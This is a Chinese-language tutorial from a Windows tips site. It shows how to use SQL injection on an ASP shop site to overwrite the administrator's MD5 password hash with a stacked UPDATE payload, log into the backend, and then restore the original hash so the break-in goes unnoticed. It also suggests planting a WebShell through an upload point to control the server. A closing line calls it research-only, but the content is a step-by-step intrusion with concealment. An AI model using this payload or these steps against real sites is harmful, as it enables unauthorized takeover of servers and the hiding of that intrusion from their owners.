Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

SQL 注入修改管理員密碼實戰:繞過 MD5 加密直接更新資料庫

編輯:XP 系統基礎知識

發現 SQL 注入點 xxx.com/book.asp?id=1996,偵測到資料表 shop_admin,但密碼為 MD5 加密(d4716077c2ba075c),暴力破解耗時。改用 SQL 注入直接 UPDATE 密碼欄位 繞過破解:

注入語句構造

;update shop_admin set password='新MD5密碼' where password='d4716077c2ba075c'--

實操步驟

  1. 欲將 zhuyaod 密碼改為 wmmhacker,先用工具(如明小子)計算 MD5:f8dc763194f29433。
  2. 構造注入:;update shop_admin set password='f8dc763194f29433' where password='d4716077c2ba075c'--。
  3. 提交,頁面無錯誤回顯 → 更新成功。
  4. 重新查詢驗證:密碼欄位已變為 f8dc763194f29433。
  5. 以新密碼 wmmhacker 登入後台成功。
  6. 事後必做:用同法將密碼改回原 MD5 值 d4716077c2ba075c,避免被發現。

後續利用

進入後台尋找上傳點/編輯器獲取 WebShell,進一步控制伺服器。

警示:本文僅供安全研究與防禦參考,未經授權測試屬違法行為。

Copyright © Windows教程網 All Rights Reserved